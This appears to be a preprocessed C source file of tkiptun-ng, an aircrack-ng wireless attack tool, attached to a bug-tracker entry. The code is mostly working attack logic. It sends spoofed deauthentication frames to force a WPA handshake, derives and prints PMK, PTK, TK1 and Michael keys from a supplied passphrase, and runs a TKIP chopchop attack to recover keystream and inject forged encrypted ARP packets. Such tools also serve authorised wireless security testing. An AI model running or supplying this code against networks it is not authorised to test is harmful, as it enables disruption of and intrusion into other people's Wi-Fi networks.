tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a deauthentication packet!\n" ); > read_sleep( 5*1000000 ); > } > > > > if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Got a disassociation packet!\n" ); > read_sleep( 5*1000000 ); > } > > gettimeofday( &tv2, ((void *)0) ); > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets ) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Not enough acks, repeating...\n"); > again = 2; > break; > } > > if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("No answer, repeating...\n"); > round++; > again = 2; > if (round > 10) > { > printf("Still nothing, quitting with 384 bytes? [y/n] \n"); > fflush( stdout ); > ret=0; > while(!ret) ret = scanf( "%s", tmpbuf ); > > printf( "\n" ); > > if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) > again = 3; > else > again = 1; > } > break; > } > } > } > > if(again == 1) continue; > > if(again == 3) length = 408; > else length = 1500; > > make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); > if (caplen == length+8+z) > { > > > } > if (caplen == length+16+z) > { > > > memset(h80211+24, '\x00', length+8); > } > > if(again != 3) > { > memcpy(iv, packet+z, 4); > memcpy(prga, packet+z+4, length); > xor_keystream(prga, h80211+24, length); > } > > lt = localtime( (const time_t *) &tv.tv_sec ); > > memset( strbuf, 0, sizeof( strbuf ) ); > snprintf( strbuf, sizeof( strbuf ) - 1, > "fragment-%02d%02d-%02d%02d%02d.xor", > lt->tm_mon + 1, lt->tm_mday, > lt->tm_hour, lt->tm_min, lt->tm_sec ); > save_prga(strbuf, iv, prga, length); > > printf( "Saving keystream in %s\n", strbuf ); > printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); > > done=1; > > } > > return( 0 ); >} > >static int get_ip_port(char *iface, char *ip, const int ip_size) >{ > char *host; > char *ptr; > int port = -1; > struct in_addr addr; > > host = (__extension__ (__builtin_constant_p (iface) && ((size_t)(const void *)((iface) + 1) - (size_t)(const void *)(iface) == 1) ? (((__const char *) (iface))[0] == '\0' ? (char *) calloc ((size_t) 1, (size_t) 1) : ({ size_t __len = strlen (iface) + 1; char *__retval = (char *) malloc (__len); if (__retval != ((void *)0)) __retval = (char *) memcpy (__retval, iface, __len); __retval; })) : __strdup (iface))); > if (!host) > return -1; > > ptr = (__extension__ (__builtin_constant_p (':') && !__builtin_constant_p (host) && (':') == '\0' ? (char *) __rawmemchr (host, ':') : __builtin_strchr (host, ':'))); > if (!ptr) > goto out; > > *ptr++ = 0; > > if (!inet_aton(host, (struct in_addr *)&addr)) > goto out; > > if(strlen(host) > 15) > { > port = -1; > goto out; > } > strncpy(ip, host, ip_size); > port = atoi(ptr); > if(port <= 0) port = -1; > >out: > free(host); > return port; >} > >int getHDSK() >{ > int i, n; > int aacks, sacks, caplen; > struct timeval tv; > fd_set rfds; > > n = 0; > > > > > > memcpy( h80211, "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00", 26 ); > memcpy( h80211 + 16, opt.r_bssid, 6 ); > > aacks = 0; > sacks = 0; > for( i = 0; i < 4; i++ ) > { > if(i == 0) > { > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Sending 4 directed DeAuth. STMAC:" > " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", > opt.wpa.stmac[0], opt.wpa.stmac[1], > opt.wpa.stmac[2], opt.wpa.stmac[3], > opt.wpa.stmac[4], opt.wpa.stmac[5], > sacks, aacks ); > } > > memcpy( h80211 + 4, opt.wpa.stmac, 6 ); > memcpy( h80211 + 10, opt.r_bssid, 6 ); > > if( send_packet( h80211, 26 ) < 0 ) > return( 1 ); > > usleep( 2000 ); > > memcpy( h80211 + 4, opt.r_bssid, 6 ); > memcpy( h80211 + 10, opt.wpa.stmac, 6 ); > > if( send_packet( h80211, 26 ) < 0 ) > return( 1 ); > > usleep( 100000 ); > > while( 1 ) > { > do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0); > ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask)))))); > > tv.tv_sec = 0; > tv.tv_usec = 1000; > > if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv ) < 0 ) > { > if( (*__errno_location ()) == 4 ) continue; > perror( "select failed" ); > return( 1 ); > } > > if( ! ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) ) > break; > > caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) ); > > check_received(h80211, caplen); > > if(caplen <= 0 ) break; > if(caplen != 10) continue; > if( h80211[0] == 0xD4) > { > if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 ) > { > aacks++; > } > if( memcmp(h80211+4, opt.r_bssid, 6) == 0 ) > { > sacks++; > } > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Sending 4 directed DeAuth. STMAC:" > " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", > opt.wpa.stmac[0], opt.wpa.stmac[1], > opt.wpa.stmac[2], opt.wpa.stmac[3], > opt.wpa.stmac[4], opt.wpa.stmac[5], > sacks, aacks ); > } > } > } > printf("\n"); > > return( 0 ); >} > >int main( int argc, char *argv[] ) >{ > int i, j, n, ret, got_hdsk; > char *s, buf[128]; > int caplen=0; > unsigned char packet1[4096]; > unsigned char packet2[4096]; > int packet1_len, packet2_len; > struct timeval mic_fail; > > > > memset( &opt, 0, sizeof( opt ) ); > memset( &dev, 0, sizeof( dev ) ); > > opt.f_type = -1; opt.f_subtype = -1; > opt.f_minlen = 80; opt.f_maxlen = 80; > opt.f_minlen_set = 0; > opt.f_maxlen_set = 0; > opt.f_tods = -1; opt.f_fromds = -1; > opt.f_iswep = -1; opt.ringbuffer = 8; > > opt.a_mode = -1; opt.r_fctrl = -1; > opt.ghost = 0; opt.npackets = -1; > opt.delay = 15; opt.bittest = 0; > opt.fast = -1; opt.r_smac_set = 0; > opt.npackets = 1; opt.nodetect = 0; > opt.mic_failure_interval = 60; ># 3771 "tkiptun-ng.c" > while( 1 ) > { > int option_index = 0; > > static struct option long_options[] = { > {"help", 0, 0, 'H'}, > {"fast", 0, 0, 'F'}, > {"pmk", 1, 0, 'P'}, > {"psk", 1, 0, 'p'}, > {0, 0, 0, 0 } > }; > > int option = getopt_long( argc, argv, > "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:", > long_options, &option_index ); > > if( option < 0 ) break; > > switch( option ) > { > case 0 : > > break; > > case ':' : > > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > > case '?' : > > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > > case 'd' : > > if( getmac( optarg, 1, opt.f_dmac ) != 0 ) > { > printf( "Invalid destination MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 's' : > > if( getmac( optarg, 1, opt.f_smac ) != 0 ) > { > printf( "Invalid source MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'm' : > > ret = sscanf( optarg, "%d", &opt.f_minlen ); > if( opt.f_minlen < 0 || ret != 1 ) > { > printf( "Invalid minimum length filter. [>=0]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.f_minlen_set=1; > break; > > case 'n' : > > ret = sscanf( optarg, "%d", &opt.f_maxlen ); > if( opt.f_maxlen < 0 || ret != 1 ) > { > printf( "Invalid maximum length filter. [>=0]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.f_maxlen_set=1; > break; > > case 't' : > > ret = sscanf( optarg, "%d", &opt.f_tods ); > if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) > { > printf( "Invalid tods filter. [0,1]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'f' : > > ret = sscanf( optarg, "%d", &opt.f_fromds ); > if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) > { > printf( "Invalid fromds filter. [0,1]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'x' : > > ret = sscanf( optarg, "%d", &opt.r_nbpps ); > if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) > { > printf( "Invalid number of packets per second. [1-1024]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'a' : > > if( getmac( optarg, 1, opt.r_bssid ) != 0 ) > { > printf( "Invalid AP MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > if( getmac( optarg, 1, opt.f_bssid ) != 0 ) > { > printf( "Invalid AP MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'c' : > > if( getmac( optarg, 1, opt.r_dmac ) != 0 ) > { > printf( "Invalid destination MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > case 'h' : > > if( getmac( optarg, 1, opt.r_smac ) != 0 ) > { > printf( "Invalid source MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > if( getmac( optarg, 1, opt.wpa.stmac ) != 0 ) > { > printf( "Invalid source MAC address.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.r_smac_set=1; > break; > > case 'e' : > > memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); > strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); > break; > > case 'j' : > > opt.r_fromdsinj = 1; > break; > > case 'D' : > > opt.nodetect = 1; > break; > > case 'y' : > > if( opt.prga != ((void *)0) ) > { > printf( "PRGA file already specified.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > if( read_prga(&(opt.prga), optarg) != 0 ) > { > return( 1 ); > } > break; > > case 'i' : > > if( opt.s_face != ((void *)0) || opt.s_file ) > { > printf( "Packet source already specified.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.s_face = optarg; > opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); > break; > > case 'r' : > > if( opt.s_face != ((void *)0) || opt.s_file ) > { > printf( "Packet source already specified.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.s_file = optarg; > break; > > case 'Z' : > > opt.fast = 0; > break; > > case 'H' : > > printf( usage, getVersion("Tkiptun-ng", 1, 1, 0, 0, 0) ); > return( 1 ); > > case 'K' : > > i = 0 ; > n = 0; > s = optarg; > while( s[i] != '\0' ) > { > if ( s[i] == '-' || s[i] == ':' || s[i] == ' ') > i++; > else > s[n++] = s[i++]; > } > s[n] = '\0' ; > buf[0] = s[0]; > buf[1] = s[1]; > buf[2] = '\0'; > i = 0; > j = 0; > while( sscanf( buf, "%x", &n ) == 1 ) > { > if ( n < 0 || n > 255 ) > { > printf( "Invalid keystream.\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > opt.oldkeystream[opt.oldkeystreamlen] = n ; > opt.oldkeystreamlen++; > if( i >= 64 ) break; > s += 2; > buf[0] = s[0]; > buf[1] = s[1]; > } > break; > > case 'P' : > > memset( opt.pmk, 0, sizeof( opt.pmk ) ); > i = hexStringToHex(optarg, strlen(optarg), opt.pmk); > opt.got_pmk = 1; > break; > > case 'p' : > > memset( opt.psk, 0, sizeof( opt.psk ) ); > if( strlen(optarg) < 8 || strlen(optarg) > 63) > { > printf("PSK with invalid length specified [8-64].\n"); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 ); > opt.got_psk = 1; > break; > > case 'M' : > > ret = sscanf( optarg, "%d", &opt.mic_failure_interval ); > if( opt.mic_failure_interval < 0 ) > { > printf( "Invalid MIC error timeout. [>=0]\n" ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > break; > > default : goto usage; > } > } > > if( argc - optind != 1 ) > { > if(argc == 1) > { >usage: > printf( usage, getVersion("Tkiptun-ng", 1, 1, 0, 0, 0) ); > } > if( argc - optind == 0) > { > printf("No replay interface specified.\n"); > } > if(argc > 1) > { > printf("\"%s --help\" for help.\n", argv[0]); > } > return( 1 ); > } > > if( !opt.r_smac_set ) > { > printf( "A Client MAC must be specified (-h).\n"); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > > if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) > { > printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", > opt.f_minlen, opt.f_maxlen ); > printf("\"%s --help\" for help.\n", argv[0]); > return( 1 ); > } > > if ( opt.f_tods == 1 && opt.f_fromds == 1 ) > { > printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); > } > > dev.fd_rtc = -1; ># 4142 "tkiptun-ng.c" > opt.iface_out = argv[optind]; > opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); > > > if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) > { > > _wi_out = wi_open(opt.iface_out); > if (!_wi_out) > return 1; > dev.fd_out = wi_fd(_wi_out); > > > if( opt.s_face != ((void *)0) ) > { > > if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) > { > _wi_in = wi_open(opt.s_face); > if (!_wi_in) > return 1; > dev.fd_in = wi_fd(_wi_in); > wi_get_mac(_wi_in, dev.mac_in); > } > } > else > { > _wi_in = _wi_out; > dev.fd_in = dev.fd_out; > > > dev.arptype_in = dev.arptype_out; > wi_get_mac(_wi_in, dev.mac_in); > } > > wi_get_mac(_wi_out, dev.mac_out); > } > > > setuid( getuid() ); > > > if( opt.r_nbpps == 0 ) > { > opt.r_nbpps = 10; > } > > > if( opt.s_file != ((void *)0) ) > { > if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) > { > perror( "open failed" ); > return( 1 ); > } > > n = sizeof( struct pcap_file_header ); > > if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) > { > perror( "fread(pcap file header) failed" ); > return( 1 ); > } > > if( dev.pfh_in.magic != 0xA1B2C3D4 && > dev.pfh_in.magic != 0xD4C3B2A1 ) > { > fprintf( stderr, "\"%s\" isn't a pcap file (expected " > "TCPDUMP_MAGIC).\n", opt.s_file ); > return( 1 ); > } > > if( dev.pfh_in.magic == 0xD4C3B2A1 ) > dev.pfh_in.linktype = ( ( ( dev.pfh_in.linktype >> 24 ) & 0x000000FF ) | ( ( dev.pfh_in.linktype >> 8 ) & 0x0000FF00 ) | ( ( dev.pfh_in.linktype << 8 ) & 0x00FF0000 ) | ( ( dev.pfh_in.linktype << 24 ) & 0xFF000000 ) );; > > if( dev.pfh_in.linktype != 105 && > dev.pfh_in.linktype != 119 && > dev.pfh_in.linktype != 127 && > dev.pfh_in.linktype != 192 ) > { > fprintf( stderr, "Wrong linktype from pcap file header " > "(expected LINKTYPE_IEEE802_11) -\n" > "this doesn't look like a regular 802.11 " > "capture.\n" ); > return( 1 ); > } > } > > > if( maccmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00") == 0 ) > { > memcpy( opt.r_smac, dev.mac_out, 6); > if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) > { > printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", > dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); > } > } > > if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00") != 0) > { > > fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" > " doesn't match the specified MAC (-h).\n" > "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", > dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], > opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); > } > > > > memset(buf, 0, 128); > memcpy(buf, "M", 1); > i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f"); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Test: %s\n", i ? "Successful" : "Failed"); > > > > if(getnet(((void *)0), 0, 0) != 0) > return 1; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Found specified AP\n"); > > got_hdsk=0; > while(1) > { > getHDSK(); > for(i=0; i<10; i++) > { > read_sleep(500000); > if(opt.wpa.state == 7) > { > got_hdsk = 1; > break; > } > } > if(got_hdsk) > break; > } > > if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1) > { > calc_pmk(opt.psk, opt.r_essid, opt.pmk); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PSK: %s\n", opt.psk); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PMK: "); > for(i=0; i<31; i++) > printf("%02X:", opt.pmk[i]); > printf("%02X\n", opt.pmk[31]); > opt.got_pmk = 1; > } > > if(opt.got_pmk) > { > opt.wpa_sta.next = ((void *)0); > memcpy(opt.wpa_sta.stmac, opt.r_smac, 6); > memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6); > memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32); > memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32); > memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20); > memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256); > opt.wpa_sta.eapol_size = opt.wpa.eapol_size; > opt.wpa_sta.keyver = opt.wpa.keyver; > opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk ); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PTK: "); > for(i=0; i<79; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[79]); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" ); > if(opt.wpa_sta.valid_ptk) > opt.got_ptk = 1; > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("KCK: "); > for(i=0; i<15; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[15]); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("KEK: "); > for(i=16; i<31; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[31]); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Temporal Encryption Key (TK1): "); > for(i=32; i<47; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[47]); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Key (FromDS): "); > for(i=48; i<55; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[55]); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Key (ToDS): "); > for(i=56; i<63; i++) > printf("%02X:", opt.wpa_sta.ptk[i]); > printf("%02X\n", opt.wpa_sta.ptk[63]); > } > > > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for an ARP packet coming from the Client...\n"); > > opt.f_tods = 1; > opt.f_fromds = 0; > memcpy(opt.f_smac, opt.r_smac, 6); > > if(opt.fast == -1) > opt.fast = 1; > > if(opt.f_minlen_set == 0) { > opt.f_minlen = 80; > } > if(opt.f_maxlen_set == 0) { > opt.f_maxlen = 80; > } > > while(1) > { > if( capture_ask_packet( &caplen, 0 ) != 0 ) > return( 1 ); > if( is_qos_arp_tkip(h80211, caplen) == 1 ) > break; > } > > memcpy(packet2, h80211, caplen); > packet2_len = caplen; > > > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for an ARP response packet coming from the AP...\n"); > > opt.f_tods = 0; > opt.f_fromds = 1; > memcpy(opt.f_dmac, opt.r_smac, 6); > memcpy(opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6); > > if(opt.f_minlen_set == 0) { > opt.f_minlen = 80; > } > if(opt.f_maxlen_set == 0) { > opt.f_maxlen = 98; > } > > while(1) > { > if( capture_ask_packet( &caplen, 0 ) != 0 ) > return( 1 ); > if( is_qos_arp_tkip(h80211, caplen) == 1 ) > break; > } > > memcpy(packet1, h80211, caplen); > packet1_len = caplen; > > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got the answer!\n"); > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n"); > read_sleep(10*1000000); > > memcpy(h80211, packet1, packet1_len); > > > > if (do_attack_tkipchop(h80211, caplen) == 1) > return( 1 ); > > > if(opt.chopped_from_plain != ((void *)0)) > { > memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4); > memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4); > memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6); > } > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", > opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5], > opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n", > opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5], > opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]); > > > > build_arp_request(h80211, &caplen, 0); > send_packet(h80211, caplen); > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Sent encrypted tkip ARP request to the client.\n"); > > > > { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval); > > while(1) > { > gettimeofday(&mic_fail, ((void *)0)); > if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) > break; > sleep(1); > } > > > memcpy(h80211, packet2, packet2_len); > do_attack_tkipchop(h80211, caplen); > > > > return( 0 ); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 495022
: 365894